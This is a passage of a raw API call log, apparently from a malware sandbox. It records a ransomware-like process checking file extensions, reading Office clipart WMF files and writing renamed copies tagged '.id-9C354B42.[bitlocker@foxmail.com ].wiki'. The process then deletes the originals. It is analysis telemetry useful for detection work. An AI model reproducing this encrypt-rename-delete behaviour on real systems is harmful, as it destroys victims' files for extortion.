(lpString=".pdf") returned 4 [0061.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.086] lstrlenW (lpString=".xls") returned 4 [0061.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.086] lstrlenW (lpString=".xlsx") returned 5 [0061.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.086] lstrlenW (lpString=".ppt") returned 4 [0061.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.086] lstrlenW (lpString=".zip") returned 4 [0061.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.086] lstrlenW (lpString=".rar") returned 4 [0061.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.086] lstrlenW (lpString=".bz2") returned 4 [0061.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.086] lstrlenW (lpString=".7z") returned 3 [0061.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.086] lstrlenW (lpString=".dbf") returned 4 [0061.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.086] lstrlenW (lpString=".1cd") returned 4 [0061.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.087] lstrlenW (lpString=".jpg") returned 4 [0061.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.087] lstrlenW (lpString=".doc") returned 4 [0061.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.087] lstrlenW (lpString=".docx") returned 5 [0061.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.087] lstrlenW (lpString=".pdf") returned 4 [0061.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.087] lstrlenW (lpString=".xls") returned 4 [0061.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.087] lstrlenW (lpString=".xlsx") returned 5 [0061.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.087] lstrlenW (lpString=".ppt") returned 4 [0061.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.087] lstrlenW (lpString=".zip") returned 4 [0061.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.087] lstrlenW (lpString=".rar") returned 4 [0061.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.087] lstrlenW (lpString=".bz2") returned 4 [0061.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.087] lstrlenW (lpString=".7z") returned 3 [0061.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.087] lstrlenW (lpString=".dbf") returned 4 [0061.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.087] lstrlenW (lpString=".1cd") returned 4 [0061.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.087] lstrlenW (lpString=".jpg") returned 4 [0061.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.088] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.088] lstrlenW (lpString="AN01084_.WMF") returned 12 [0061.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.088] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1832) returned 1 [0061.088] CloseHandle (hObject=0x1f0) returned 1 [0061.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0061.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.088] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.088] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.089] GetLastError () returned 0x0 [0061.089] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x728, lpOverlapped=0x0) returned 1 [0061.091] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x730, lpOverlapped=0x0) returned 1 [0061.092] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.092] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.092] SetEndOfFile (hFile=0x1e8) returned 1 [0061.092] CloseHandle (hObject=0x1e8) returned 1 [0061.092] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.092] SetEndOfFile (hFile=0x1f0) returned 1 [0061.093] CloseHandle (hObject=0x1f0) returned 1 [0061.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0061.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.094] lstrlenW (lpString=".doc") returned 4 [0061.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.094] lstrlenW (lpString=".docx") returned 5 [0061.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.094] lstrlenW (lpString=".pdf") returned 4 [0061.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.094] lstrlenW (lpString=".xls") returned 4 [0061.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.094] lstrlenW (lpString=".xlsx") returned 5 [0061.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.094] lstrlenW (lpString=".ppt") returned 4 [0061.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.094] lstrlenW (lpString=".zip") returned 4 [0061.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.094] lstrlenW (lpString=".rar") returned 4 [0061.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.094] lstrlenW (lpString=".bz2") returned 4 [0061.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.094] lstrlenW (lpString=".7z") returned 3 [0061.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.094] lstrlenW (lpString=".dbf") returned 4 [0061.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.094] lstrlenW (lpString=".1cd") returned 4 [0061.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.094] lstrlenW (lpString=".jpg") returned 4 [0061.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.094] lstrlenW (lpString=".doc") returned 4 [0061.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.094] lstrlenW (lpString=".docx") returned 5 [0061.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.095] lstrlenW (lpString=".pdf") returned 4 [0061.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.095] lstrlenW (lpString=".xls") returned 4 [0061.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.095] lstrlenW (lpString=".xlsx") returned 5 [0061.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.095] lstrlenW (lpString=".ppt") returned 4 [0061.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.095] lstrlenW (lpString=".zip") returned 4 [0061.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.095] lstrlenW (lpString=".rar") returned 4 [0061.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.095] lstrlenW (lpString=".bz2") returned 4 [0061.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.095] lstrlenW (lpString=".7z") returned 3 [0061.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.095] lstrlenW (lpString=".dbf") returned 4 [0061.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.095] lstrlenW (lpString=".1cd") returned 4 [0061.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0061.095] lstrlenW (lpString=".jpg") returned 4 [0061.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.095] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.095] lstrlenW (lpString="AN01173_.WMF") returned 12 [0061.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.096] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=26332) returned 1 [0061.096] CloseHandle (hObject=0x1f0) returned 1 [0061.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0061.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.097] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.097] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.097] GetLastError () returned 0x0 [0061.097] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x66dc, lpOverlapped=0x0) returned 1 [0061.100] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0061.101] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.101] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.101] SetEndOfFile (hFile=0x1e8) returned 1 [0061.101] CloseHandle (hObject=0x1e8) returned 1 [0061.101] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.102] SetEndOfFile (hFile=0x1f0) returned 1 [0061.102] CloseHandle (hObject=0x1f0) returned 1 [0061.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0061.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.103] lstrlenW (lpString=".doc") returned 4 [0061.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.103] lstrlenW (lpString=".docx") returned 5 [0061.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.103] lstrlenW (lpString=".pdf") returned 4 [0061.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.103] lstrlenW (lpString=".xls") returned 4 [0061.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.103] lstrlenW (lpString=".xlsx") returned 5 [0061.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.103] lstrlenW (lpString=".ppt") returned 4 [0061.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.103] lstrlenW (lpString=".zip") returned 4 [0061.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.103] lstrlenW (lpString=".rar") returned 4 [0061.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.103] lstrlenW (lpString=".bz2") returned 4 [0061.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.103] lstrlenW (lpString=".7z") returned 3 [0061.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.104] lstrlenW (lpString=".dbf") returned 4 [0061.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.104] lstrlenW (lpString=".1cd") returned 4 [0061.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.104] lstrlenW (lpString=".jpg") returned 4 [0061.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.104] lstrlenW (lpString=".doc") returned 4 [0061.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString=".docx") returned 5 [0061.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.104] lstrlenW (lpString=".pdf") returned 4 [0061.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString=".xls") returned 4 [0061.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.104] lstrlenW (lpString=".xlsx") returned 5 [0061.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.104] lstrlenW (lpString=".ppt") returned 4 [0061.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.104] lstrlenW (lpString=".zip") returned 4 [0061.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.104] lstrlenW (lpString=".rar") returned 4 [0061.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString=".bz2") returned 4 [0061.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.104] lstrlenW (lpString=".7z") returned 3 [0061.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.104] lstrlenW (lpString=".dbf") returned 4 [0061.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.105] lstrlenW (lpString=".1cd") returned 4 [0061.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0061.105] lstrlenW (lpString=".jpg") returned 4 [0061.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.105] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.105] lstrlenW (lpString="AN01174_.WMF") returned 12 [0061.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.105] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=27858) returned 1 [0061.105] CloseHandle (hObject=0x1f0) returned 1 [0061.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0061.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.105] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.106] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.106] GetLastError () returned 0x0 [0061.106] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0061.108] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0061.109] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.109] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.109] SetEndOfFile (hFile=0x1e8) returned 1 [0061.109] CloseHandle (hObject=0x1e8) returned 1 [0061.109] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.109] SetEndOfFile (hFile=0x1f0) returned 1 [0061.110] CloseHandle (hObject=0x1f0) returned 1 [0061.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0061.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.111] lstrlenW (lpString=".doc") returned 4 [0061.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.111] lstrlenW (lpString=".docx") returned 5 [0061.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.111] lstrlenW (lpString=".pdf") returned 4 [0061.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.111] lstrlenW (lpString=".xls") returned 4 [0061.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.111] lstrlenW (lpString=".xlsx") returned 5 [0061.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.111] lstrlenW (lpString=".ppt") returned 4 [0061.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0061.111] lstrlenW (lpString=".zip") returned 4 [0061.111] lstrcmpiW (lpString1=".zip", 